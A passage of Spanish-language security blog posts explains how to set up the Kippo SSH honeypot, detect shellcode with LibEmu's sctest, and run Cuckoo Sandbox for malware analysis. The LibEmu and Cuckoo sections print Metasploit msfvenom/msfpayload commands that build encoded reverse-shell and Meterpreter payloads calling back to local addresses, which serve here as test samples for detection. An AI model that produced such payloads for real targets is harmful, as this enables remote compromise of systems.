data_path: En el directorio indicado en esta propiedad se debe ubicar el fichero “usersdb.txt” en el se definirá por cada línea, el usuario y sus credenciales de acceso al supuesto honeypot. Evidentemente, se recomienda indicar una contraseña que sea fácilmente predecible para que el atacante pueda entrar y contar con más tiempo para saber de quien se trata.
txtcmds_path: En el directorio indicado en esta propiedad se deben definir los programas y utilidades que podrá ejecutar el atacante una vez se encuentre dentro del honeypot.
ssh_version_string: Será el banner que devolverá el servicio cuando se realicen peticiones sobre el puerto definido en la propiedad “ssh_port”
interact_enabled: Kippo permite controlar las sesiones que el atacante tenga iniciadas contra el honeypot en un servicio independiente de monitoreo. Por defecto dicha propiedad se encuentra desactivada, pero es muy útil para ver en tiempo real lo que está haciendo el atacante en el honeypot.
interact_port: Puerto en el que se iniciará el servicio de monitoreo. Solamente tiene sentido indicar un valor en esta propiedad si “interact_enabled” tiene el valor “true”.
Existen otras propiedades en Kippo que también pueden ser interesantes para el lector, por ese motivo se recomienda leer la documentación para hacerse una idea de cuáles son dichas propiedades.
Una buena practica para captar la mayor cantidad de atacantes, consiste en el definir el honeypot un puerto que no requiera privilegios de root para ser utilizado, como por ejemplo el “2222” y redireccionar todas peticiones entrantes por el puerto “22” al puerto donde está corriendo el honeypot. Esto puede hacerse muy fácilmente utilizando una regla de iptables como la siguiente.
| iptables -t nat -A PREROUTING -p tcp –dport 22 -j REDIRECT –to-port 2222 |
Ahora bien, si se cuenta con un servicio SSH productivo, se recomienda levantarlo en un puerto distinto al “22”.
El siguiente fichero de configuración puede ser utilizado para arrancar Kippo con algunos valores de configuración personalizados.
| [honeypot]
ssh_port = 2222 hostname = PROServer log_path = log download_path = dl contents_path = honeyfs filesystem_file = fs.pickle data_path = data txtcmds_path = txtcmds rsa_public_key = data/ssh_host_rsa_key.pub rsa_private_key = data/ssh_host_rsa_key dsa_public_key = data/ssh_host_dsa_key.pub dsa_private_key = data/ssh_host_dsa_key exec_enabled = true fake_addr = 172.28.78.10 ssh_version_string = SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2 interact_enabled = true interact_port = 5000 |
El fichero anterior debe ubicarse en el directorio de Kippo con el nombre “kippo.cfg”. Ahora es el momento de lanzar el script “start.sh” para iniciar el honeypot.
| >./start.sh
twistd (the Twisted daemon) 14.0.0 Copyright (c) 2001-2014 Twisted Matrix Laboratories. See LICENSE for details. Starting kippo in the background… |
EL servicio quedará abierto en el puerto “2222” y además, es posible ver los logs que ha generado Kippo en el proceso de arranque.
| >cat log/kippo.log
2015-01-25 23:57:37+0100 [-] Log opened. 2015-01-25 23:57:37+0100 [-] twistd 14.0.0 (/usr/bin/python 2.7.6) starting up. 2015-01-25 23:57:37+0100 [-] reactor class: twisted.internet.epollreactor.EPollReactor. 2015-01-25 23:57:37+0100 [-] HoneyPotSSHFactory starting on 2222 2015-01-25 23:57:37+0100 [-] Starting factory <kippo.core.ssh.HoneyPotSSHFactory instance at 0x7fa27d2b67e8> 2015-01-25 23:57:37+0100 [-] Factory starting on 5000 2015-01-25 23:57:37+0100 [-] Starting factory <twisted.internet.protocol.Factory instance at 0x7fa27c03cd40> >nc localhost 2222 SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze2 > |
Como se puede ver, el banner devuelto por el servicio es el mismo que se ha definido en la propiedad “ssh_version_string”. Por otro lado, también se ha abierto el puerto “5000” para monitorizar el servicio. En dicho puerto se podrá acceder a una consola de administración básica que permitirá listar las sesiones activas, visualizar en tiempo real lo que el atacante está digitando en la consola del honeypot e incluso, interactuar con dicha sesión y escribir en la misma consola que el atacante está utilizando, algo que evidentemente despertaría sus sospechas.
| >telnet -e q 127.0.0.1 5000
Telnet escape character is ‘q’. Trying 127.0.0.1… Connected to 127.0.0.1. Escape character is ‘q’. *** kippo session management console *** List of commands: list – list all active sessions view – attach to a session in read-only mode hijack – attach to a session in interactive mode disconnect – disconnect a session help – this help exit – disconnect the console |
En el fichero “log/kippo.log” se podrán ver las trazas de cada uno de los intentos de conexión que se han realizado contra el honeypot.
| 2015-01-26 00:06:42+0100 [kippo.core.ssh.HoneyPotSSHFactory] New connection: 127.0.0.1:43249 (127.0.0.1:2222) [session: 2]
2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] Remote SSH version: SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2 2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa 2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] outgoing: aes128-ctr hmac-md5 none 2015-01-26 00:06:42+0100 [HoneyPotTransport,2,127.0.0.1] incoming: aes128-ctr hmac-md5 none 2015-01-26 00:06:44+0100 [HoneyPotTransport,2,127.0.0.1] NEW KEYS 2015-01-26 00:06:44+0100 [HoneyPotTransport,2,127.0.0.1] starting service ssh-userauth 2015-01-26 00:06:44+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth none 2015-01-26 00:06:44+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth keyboard-interactive 2015-01-26 00:06:51+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/123456] failed 2015-01-26 00:07:01+0100 [-] unauthorized login: 2015-01-26 00:07:03+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth password 2015-01-26 00:07:03+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/asadas] failed 2015-01-26 00:07:04+0100 [-] adastra failed auth password 2015-01-26 00:07:04+0100 [-] unauthorized login: 2015-01-26 00:07:05+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] adastra trying auth password 2015-01-26 00:07:05+0100 [SSHService ssh-userauth on HoneyPotTransport,2,127.0.0.1] login attempt [adastra/wwqwq] failed |
Si el atacante consigue acceso, podrá ver una consola en el supuesto servicio y podrá interactuar con ella, limitado únicamente por los comandos que se han definido en la propiedad “txtcmds_path” del fichero de configuración utilizado para arrancar Kippo.
| >ssh -p2222 localhost -l root
Password: root@PROServer:~# ls root@PROServer:~# pwd /root root@PROServer:~# whoami root root@PROServer:~# id uid=0(root) gid=0(root) groups=0(root) root@PROServer:~# uname -a Linux PROServer 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux |
Desde la consola de administración, se puede ver la nueva sesión creada en el honeypot y se puede interactuar con ella.
| >telnet -e q 127.0.0.1 5000
Telnet escape character is ‘q’. Trying 127.0.0.1… Connected to 127.0.0.1. Escape character is ‘q’. *** kippo session management console *** List of commands: list – list all active sessions view – attach to a session in read-only mode hijack – attach to a session in interactive mode disconnect – disconnect a session help – this help exit – disconnect the console list ID clientIP clientVersion 3 127.0.0.1 SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2 view 3 ** Attaching to #3, hit ESC to return ls root@PROServer:~# pwd /root root@PROServer:~# whoami root root@PROServer:~# id uid=0(root) gid=0(root) groups=0(root) root@PROServer:~# ** Interactive session closed. hijack 3 ** Attaching to #3, hit ESC to return Te he pillado… bash: Te: command not found root@PROServer:~# whoami root disconnect 3 ** Disconnecting session #3 exit Connection closed by foreign host. |
El comando “list” ha permitido visualizar las sesiones iniciadas en el honeypot y con los comandos “view” y “hijack” se puede interactuar con una de dichas sesiones, el primero solamente permite ver lo que el atacante escribe en la consola del honeypot, mientras que el segundo permite interactuar directamente con dicha sesión y enviar comandos/mensajes al atacante. Finalmente el comando “disconnect” interrumpe una sesión activa, cortando la conexión entre el atacante y el honeypot.
Más sobre Honeypots en un próximo articulo.
Saludos y Happy Hack!
Adastra.
Detección de malware con libemu
Una de las principales tareas de cualquier investigador de malware consiste precisamente en obtener, analizar y comprender el funcionamiento de todas las muestras que pueda, de esta forma podrá entender mucho mejor las técnicas utilizadas por las personas que se dedican a crear este tipo de programas. Además de hacerlo por “diversión y beneficio”, la detección y posterior análisis de malware son algunas de las principales rutinas que se suelen implementar en sistemas IDS/IPS tales como Suricata y Snort o en HoneyPots tales como Dionaea. Para ello, existen varias librerías que ayudan a crear hooks para monitorizar y analizar algunas de las “API Calls” más utilizadas en programas maliciosos, una bastante conocida es PyDBG, la cual es ampliamente utilizada en proyectos tales como Pamei/Sulley Framework.
Sin embargo, no solamente existen librerías en Python para este tipo de actividades, y de hecho, otro lenguaje que se ha utilizado y se sigue utilizando con bastante frecuencia para la elaboración de analizadores de código malicioso es C/C++ y sobre dicho lenguaje, se encuentra desarrollada una de las librerías más potentes que conozco para el análisis de muestras de malware: LibEmu.
“Libemu es una librería que permite realizar un proceso básico de emulación sobre sistemas con arqutectura x86 y además, permite la detección de shellcodes utilizando heurísticas GetPC.”
Este mismo texto será el que encuentres en la página oficial de Libemu (http://libemu.carnivore.it/) pero para comprender realmente lo que significa, hace falta tener claros ciertos conceptos:
“Proceso básico de emulación”: Concretamente sobre las instrucciones disponibles en arquitecturas x86. Un proceso de emulación, a diferencia de un proceso de simulación, pretende modelar el comportamiento de un programa de la forma más precisa y exacta posible, creando para ello una plataforma completa que permita reproducir el funcionamiento del programa. Esto quiere decir que LibEmu se encarga de replicar las instrucciones básicas de un sistema, funcionando de un modo similar a una máquina virtual pero con la diferencia de que un emulador tiende a ser mucho más lento y permite emular también la CPU.
“Heurísticas GetPC”: Get Program Counter o también conocido como GetEIP en arquitecturas x86 es una técnica comúnmente utilizada en el desarrollo de shellcodes para determinar la ubicación del shellcode en el espacio de direcciones del proceso. Este tipo de rutinas son vitales para realizar procesos de decodificación y mutación, en las cuales el shellcode necesita conocer la ubicación en la que ha sido inyectado dentro del proceso vulnerable. “GetPC” no es una única técnica, sino que abarca varias técnicas que combinan instrucciones para conocer la dirección de memoria en la que se encuentra el shellcode. Algunas de dichas instrucciones son: CALL GetPC, FSTENV GetPC, SEH GetPC (sobre sistemas Windows y no soportado por LibEmu), entre otras que explicaré en un próximo articulo.
Para instalar LibEmu, se puede descargar la última versión estable desde el sitio web oficial en: http://libemu.carnivore.it/#download, desde el repositorio Git o utilizando el comando “apt-get install libemu2” en sistemas basados en Debian. En este caso, se utilizará la versión de desarrollo que se encuentra incluida en el repositorio.
| >git clone git://git.carnivore.it/libemu.git>autoreconf -v -i
>./configure –prefix=/opt/libemu –enable-python-bindings –disable-werror >make |
Como se puede apreciar, a la hora de configurar el ejecutable con el comando “configure”, se ha utilizado la opción “–enable-python-bindings”, de esta forma se instalan también los “bindings” de Python para LibEmu de forma automática, es decir, se encarga de instalar la librería “pylibemu” para utilizar LibEmu desde Python, algo de lo que se hablará en un próximo articulo.
Una vez se ha terminado de instalar la librería en el sistema, contamos con algunas herramientas que son muy útiles para el análisis de malware y son las que le dan “vida” a LibEmu.
Para poder probar su funcionamiento se puede utilizar cualquier malware disponible en Internet (con precaución obviamente) o utilizando alguno de los payloads que se pueden generar con Metasploit Framework. Independiente del mecanismo utilizado, lo interesante de LibEmu son los resultados que arroja cuando se ejecutan utilidades como “sctest”.
Utilizando “msfvenom” de Metasploit Framework se creará un payload malicioso que posteriormente será utilizado para realizar las pruebas con LibEmu.
| ./msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.244 LPORT=4444 -e x86/shikata_ga_nai -f raw > testingPayload.bin No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 98 (iteration=0) |
Se ha utilizado “msfvenom”, un sustituto de la utilidad “msfpayload”, la cual se encuentra deprecada y que próximamente será removida del proyecto.
El fichero generado se ha nombrado como “testingPayload” y a continuación será utilizado con LibEmu y la utilidad “sctest” para ver el contenido del fichero y determinar si se trata de un programa malicioso o no.
En primer lugar, algunas de las opciones disponibles en “sctest” se pueden listar con el interruptor “-h/–help”
| ./sctest –help -a PATH use this argos csi files as input
–argos-csi= PATH -b IP:PORT bind this ip:port –bind=IP:PORT -c IP:PORT redirect connects to this ip:port –connect=IP:PORT -C CMD command to execute for “cmd” in shellcode (default: cmd=”/bin/sh -c \”cd ~/.wine/drive_c/; wine ‘c:\windows\system32\cmd_orig.exe’ \””) –cmd= CMD -d INTEGER dump the shellcode (binary) to stdout –dump=INTEGER -g run getpc mode, try to detect a shellcode –getpc -G FILEPATH save a dot formatted callgraph in filepath –graph=FILEPATH -h show this help –help -i proxy api calls to the host operating system –interactive -l list all tests –listtests -o [INT|HEX] manual offset for shellcode, accepts int and hexvalues –offset=[INT|HEX] -p PATH write shellcode profile to this file –profile= PATH -S read shellcode/buffer from stdin, works with -g –stdin -s INTEGER max number of steps to run –steps=INTEGER -t INTEGER the test to run –testnumber=INTEGER -v be verbose, can be used multiple times, f.e. -vv –verbose |
Algunas resultan especialmente interesantes de cara a la detección de un programa malicioso, especialmente “-S”, “-t”, “-l” y “-g”.
Con la opción “-l” se pueden ver las pruebas que realizará la herramienta para detectar payloads maliciosos.
| >./sctest -l 0 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com1 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com 2 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com 3 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com 4 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com 5 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=349 Encoder=JmpCallAdditive http://metasploit.com 6 ) win32_reverse – EXITFUNC=seh LHOST=216.75.15.231 LPORT=4321 Size=287 Encoder=None http://metasploit.com 7 ) win32_downloadexec – URL=http://nepenthes.mwcollect.org/bad.exe Size=378 Encoder=None http://metasploit.com 8 ) win32_exec – EXITFUNC=seh CMD=cmd -c http://ftp.exe -s foo.scripted_sequence; echo der fox hat die gans gezogen Size=205 Encoder=None http://metasploit.com 9 ) some old dcom shellcode 10) brihgtstor discovery 11) amberg 12) lindau – linkbot connectback version 13) bremen – linkbot bind version 14) halle – filetransferr via csend 15) tills neuer 16) win32_bind pex & ./clet -S win32_bind_pex -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123 17) clet decoded nop slide (144 0x90 decoded with ./clet -S 144nop -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123) 18) the hackers choice realplayer 8 exploit 19) win32_bind_vncinject – VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=287 Encoder=None http://metasploit.com 20) windows/vncinject/reverse_tcp – 177 bytes (stage 1) http://www.metasploit.com DisableCourtesyShell=false, VNCHOST=127.0.0.1, VNCPORT=5900, EXITFUNC=seh, DLL=/tmp/framework-3.0/data/vncdll.dll, LPORT=4444, LHOST=192.168.53.20, AUTOVNC=true 21) till sein lsass dump 22) bindshell::schoenborn 23) sqlslammer 24) linux bindshell 25) Windows bindshell 0.0.0.0:8594 – tried exploit PNP_QueryResConfList/MS05-39 26) Windows bind filetransfer 0.0.0.0:38963 – tried to exploit DsRolerUpgradeDownlevelServer/MS04-11 27) libemu dos 28) windows/shell_bind_tcp AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=, LPORT=4444, RHOST= http://www.metasploit.com 29) crash in loadlibrary 30) crash in fwrite 31) crash in lwrite/hwrite 32) crash in malloc 33) crash in send 34) crash in execve |
Algunas de las pruebas que realiza la utilidad son bastante conocidas y por defecto las realiza todas, pero si se indica el interruptor “-t”, solamente se ejecutará la prueba con el identificador especificado.
A continuación se puede ejecutar “sctest” utilizando los interruptores “-g”, “-v”.
| >./sctest -gS -s 150 -v < /home/adastra/Escritorio/testingPayload.bin verbose = 1
success offset = 0x00000000 int socket(int domain=2, int type=1, int protocol=0); connect stepcount 106 int socket ( int domain = 2; int type = 1; int protocol = 0; ) = 14; int connect ( int sockfd = 14; struct sockaddr_in * serv_addr = 0x00416fc2 => struct = { short sin_family = 2; unsigned short sin_port = 23569 (port=4444); struct in_addr sin_addr = { unsigned long s_addr = -201217856 (host=192.168.1.244); }; char sin_zero = ” “; }; int addrlen = 102; ) = 0; |
Como se puede apreciar, “sctest” ha detectado que el programa en cuestión tiene un payload malicioso que se encarga de conectarse al puerto “4444” del host “192.168.1.244”. Como se puede ver, aparecen cada una de las funciones que en conjunto, representan un patrón malicioso conocido.
Por otro lado, también es posible importar los resultados en una imagen con la representación gráfica de cada una de las invocaciones que se han realizado.
| >./sctest -gS -s 150 -v -G /home/adastra/Escritorio/payloadGraph.dot < /home/adastra/Escritorio/payload.bin |
El formato generado por la herramienta es “DOT”, el cual puede ser rápidamente convertido a un formato mucho más conocido como JPEG o PNG utilizando Graphviz.
| >sudo apt-get install graphviz |
El resultado de ejecutar la utilidad con la opción “-G” se puede ver en la siguiente imagen.
Flujo de invocaciones del programa
Para la detección de shellcodes, LibEmu se basa en técnicas GetPC tal como se ha visto anteriormente, con lo cual, para comprender cómo funciona LibEmu, lo más importante es comprender el funcionamiento de las técnicas GetPC, especialmente las basadas en llamadas (CALL) y en la función FNSTNV. En un próximo articulo intentaré profundizar un poco más en estas secuencias de instrucciones.
Un saludo y Happy Hack!
Adastra.
Cuckoo Sandbox y detección de malware
El concepto de “Sandbox” es bastante común en informática cuando se habla de temas relacionados con la seguridad y casi siempre se refiere a una zona restringida, en la que los elementos que se ejecutan en el entorno se encuentran aislados de los recursos sensibles del sistema y con acceso restringido a funciones criticas. Por ejemplo, en el caso de la plataforma Java, algunas aplicaciones poco fiables, como los Applets, se ejecutan en una zona de Sandbox, en la que el proceso del programa no puede interactuar directamente con los recursos del sistema, ya que se encuentra aislado y con acceso limitado.
Este mismo concepto es adoptado por varias herramientas para el análisis de malware, de tal forma que es posible detectar y analizar el comportamiento de un programa malicioso sin poner en riesgo todo el sistema, ya que se ejecuta en un entorno aislado y controlado. Se trata de un enfoque muy potente que ayuda a los investigadores a comprobar el funcionamiento de un programa potencialmente dañino y de esta forma, determinar cuáles son las medidas preventivas que se deben tomar o simplemente, saber cómo funcionan.
En este sentido existen varias herramientas de sandboxing para diferentes plataformas, como por ejemplo Windows o Linux. En esta ocasión, corresponde hablar sobre Cuckoo Sandbox.
Cuckoo es probablemente el framework open source más utilizado por investigadores y analistas a la hora de descubrir el funcionamiento de amenazas de todo tipo en un entorno controlado.
Cuckoo es un sistema centralizado, donde una máquina se encarga de ejecutar los
componentes “core” del sistema y por otro lado, hay máquinas virtuales aisladas que permiten la ejecución de los programas que deben ser analizados. La máquina donde corre Cuckoo se encarga de gestionar el estado de cada una de las máquinas virtuales definidas en el fichero de configuración de la herramienta y se encarga, entre otras cosas, de iniciar, detener y enviar muestras de Malware a las máquinas virtuales especificadas.
Instalación y configuración de Cuckoo Sandbox.
Después de comprender el funcionamiento básico de Cuckoo, procedemos a su instalación y para ello, es necesario descargar la última versión disponible desde el siguiente enlace http://www.cuckoosandbox.org/download.html
Existe la posibilidad de descargar la última versión de la herramienta o descargar una “tag” especifica del repositorio GIT. Para instalar todas las dependencias necesarias y poder comenzar a utilizar Cuckoo, se recomienda utilizar PIP.
| git://github.com/cuckoobox/cuckoo.git
cd cuckoo/ pip install -r requirements.txt |
El siguiente paso consiste en configurar el motor de análisis y para ello, es necesario establecer un valor valido a algunas de las propiedades que se definen en el fichero “/conf/cuckoo.conf”.
Una de las ventajas que tienen los ficheros de configuración de cuckoo es que vienen muy bien explicados y leyendo la descripción de cada propiedad, es sencillo saber cuáles son los valores que se deben utilizar o si con el valor por defecto es suficiente. En concreto, las principales propiedades que es conveniente revisar son las siguientes:
– machinery: Define el software de virtualización que se utilizará para arrancar las máquinas virtuales que actuarán como “guest”. El valor por defecto es “virtualbox” y es método recomendado para hacer las pruebas.
– ip: Se trata de la dirección en la que arrancará el servidor. Dicha dirección debe ser accesible desde las máquinas “guest”.
– port: Puerto utilizado por el servidor para recibir los resultados de las pruebas ejecutadas en las máquinas “guest”.
– connection: Permite especificar una conexión a base de datos. Si no se especifica ningún valor, por defecto utilizará una base de datos SQLite ubicada en “db/cuckoo.db”.
Además, en dicho fichero es necesario definir un bloque de configuración para cada una de las máquinas virtuales que actuarán como “guest” y en dicho bloque, se deben definir detalles específicos de la máquina virtual, como por ejemplo el usuario y contraseña para iniciar sesión. El contenido de este fichero puede ser como se indica a continuación
/conf/cuckoo.conf.
| [cuckoo]
version_check = on delete_original = off delete_bin_copy = off machinery = virtualbox memory_dump = off terminate_processes = off reschedule = off process_results = on max_analysis_count = 0 max_machines_count = 0 freespace = 64 tmppath = /tmp [resultserver] ip = 192.168.1.98 port = 2042 store_csvs = off upload_max_size = 10485760 [processing] analysis_size_limit = 104857600 resolve_dns = on [database] connection = timeout = [timeouts] default = 120 critical = 600 vm_state = 300 [BELARMINO] name = BELARMINO username = jdaanial password = jdaanial |
El fichero “cuckoo.conf” permite definir las propiedades generales del motor de análisis, pero existen otros ficheros de configuración que también es necesario configurar, como por ejemplo los ficheros “conf/vitualbox.conf”, “conf/vmware.conf”, “conf/kvm.conf” que permiten configurar detalles concretos de la plataforma de virtualización empleada.
En este caso, nos centraremos en VirtualBox, con lo cual es necesario ajustar las siguientes propiedades definidas en el fichero “/conf/vitualbox.conf”.
– path: Indica la ubicación de la utilidad VBoxManage. Su valor por defecto es “/usr/bin/VboxManage”.
– machines: Listado con los nombres de las máquinas virtuales que serán utilizadas por
Cuckoo. Cada uno de los nombres debe ir separado por coma.
– [nombre_maquina_virtual]: El fichero permite declarar secciones de configuración para cada una de las máquinas virtuales definidas en la propiedad “machines”. Cada uno de estos bloques permite varias propiedades, sin embargo aquellas que son obligatorias se listan a continuación:
- label: Nombre de la máquina virtual definido en la configuración de VirtualBox.
- platform: Sistema operativo de la máquina virtual. Los valores soportados a la fecha son “windows”, “darwin” y “linux”.
- ip: Dirección IP de la máquina virtual.El siguiente es un contenido valido para el fichero de configuración anteriormente explicado.
| [virtualbox]
mode = gui path = /usr/bin/VBoxManage machines = BELARMINO [BELARMINO] label = BELARMINO platform = windows ip = 192.168.1.209 |
Existen otros ficheros de configuración que permiten controlar los módulos de Cuckoo y herramientas externas como Volatility Framework. Sin embargo, con los ficheros anteriores es suficiente para comenzar a utilizar Cuckoo con una única máquina “guest”.
| ./cuckoo.py -d |
Tras ejecutar el comando anterior, Cuckoo se encargará de gestionar automáticamente la máquina virtual definida en los ficheros de configuración explicados anteriormente y tal como se enseña en la siguiente imagen, quedará en estado de espera hasta que se envíen muestras de malware al motor de análisis.
Ejecución Cuckoo Sandbox
Nota: Es posible que cuckoo encuentre problemas con los estados de la máquina virtual, por ese motivo se recomienda crear un snapshot antes de arrancar el motor de análisis con los siguientes comandos
|
>vboxmanage controlvm “BELARMINO” poweroff >vboxmanage snapshot “BELARMINO” take “BELARMINO” >vboxmanage snapshot “BELARMINO” restorecurrent >vboxheadless –startvm “BELARMINO” |
Configuración de las máquinas virtuales y envío de muestras de malware a los agentes.
Después de iniciar el servidor de Cuckoo, el siguiente paso consiste en establecer los agentes en una o varias máquinas virtuales definidas en el fichero “conf/virtualbox.conf”. En cada una de dichas máquinas virtuales, se debe instalar Python para poder ejecutar el agente que se encargará de procesar cada uno de los ficheros maliciosos enviados desde el servidor y los resultados serán enviados al servidor de Cuckoo después de que el agente termine de procesarlos.
Cada una de las máquinas virtuales que actuarán como agentes deben cumplir con los siguientes requerimientos mínimos para poder ser utilizadas desde Cuckoo:
– Instalación de Python (Verisón 2.7 recomendada).
– Instalación del módulo PIL para Python. Se trata de una dependencia opcional, pero es recomendable ya que permite crear capturas de pantalla. Se puede obtener desde el siguiente enlace: http://www.pythonware.com/products/pil/
– Desactivar el Firewall de Windows y las actualizaciones automáticas.
– Instalar cualquier otra aplicación necesaria para realizar las pruebas. Lectores de ficheros PDF, procesadores de texto, servidores vulnerables, etc. El agente de Cuckoo se encuentra ubicado en el directorio “/agent/agent.py” el cual debe ser transferido a la máquina virtual y preferiblemente ubicarlo en el directorio “C:\Python27” con el nombre agent.pyw. Se recomienda editar el registro de Windows para que el agente se ejecute de forma automática cada vez que el sistema arranque. Para ello es necesario editar la clave “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”.
Después de ejecutar el agente, se abrirá puerto 8000 para recibir todas las peticiones desde el servidor de Cuckoo.
Con todos los requisitos cumplidos, el siguiente paso lógico consiste en enviar muestras de malware a los agentes y analizar su comportamiento. Para crear una muestra maliciosa, se utilizará Metasploit Framework.
| >msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.98 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -o sample.exe |
El fichero malicioso resultante puede ser enviado al motor de Cuckoo, el cual se encargará de transferirlo a cada uno de los agentes asociados. Para ello el script “submit.py” que se encuentra ubicado en el directorio “/util” permite enviar un fichero al motor de análisis de Cuckoo.
| >python submit.py /home/adastra/Escritorio/sample.exe
Success: File “/home/adastra/Escritorio/sample.exe” added as task with ID 1 |
Después de ejecutar el comando anterior, se puede apreciar que la muestra ha sido enviada correctamente y se ha creado la tarea con identificador “1”.
Ahora, es posible acceder a los resultados por medio de una interfaz web bastante simple e intuitiva que se iniciará al ejecutar el script “web.py” ubicado en el directorio
“CUCKOO_INSTALL/util”
| >python web.py
Bottle v0.12.7 server starting up (using WSGIRefServer())… Listening on http://0.0.0.0:8080/ Hit Ctrl-C to quit. |
Desde la interfaz web, se podrán subir muestras desde un formulario y también se podrá visualizar el estado de aquellas muestras que han sido enviadas con anterioridad.
Listado de muestras enviadas al motor de análisis de Cuckoo
En este articulo solamente se ha explicado la configuración básica del motor de análisis con un único “guest”, pero es una herramienta bastante flexible que merece la pena probar y “pegarse” un poco con ella. Os invito a que lo intentéis.
Saludos y Happy Hack!
Servicios en TheHackerWay
Descubre los productos y servicios enfocados a la seguridad informática que ofrecemos en TheHackerWay
Deep web: Privacidad y anonimato.
Compra el libro de "Deep Web: TOR, FreeNET & I2P - Privacidad y Anonimato"
Hacking con Python
Compra el libro de "Hacking con Python".
Python para Pentesters
Compra el libro de "Python para Pentesters".
Número de Visitas:
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido. Con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas a las diferentes facetas de la informática con un énfasis especial en la seguridad.
Saludos y Happy Hack!
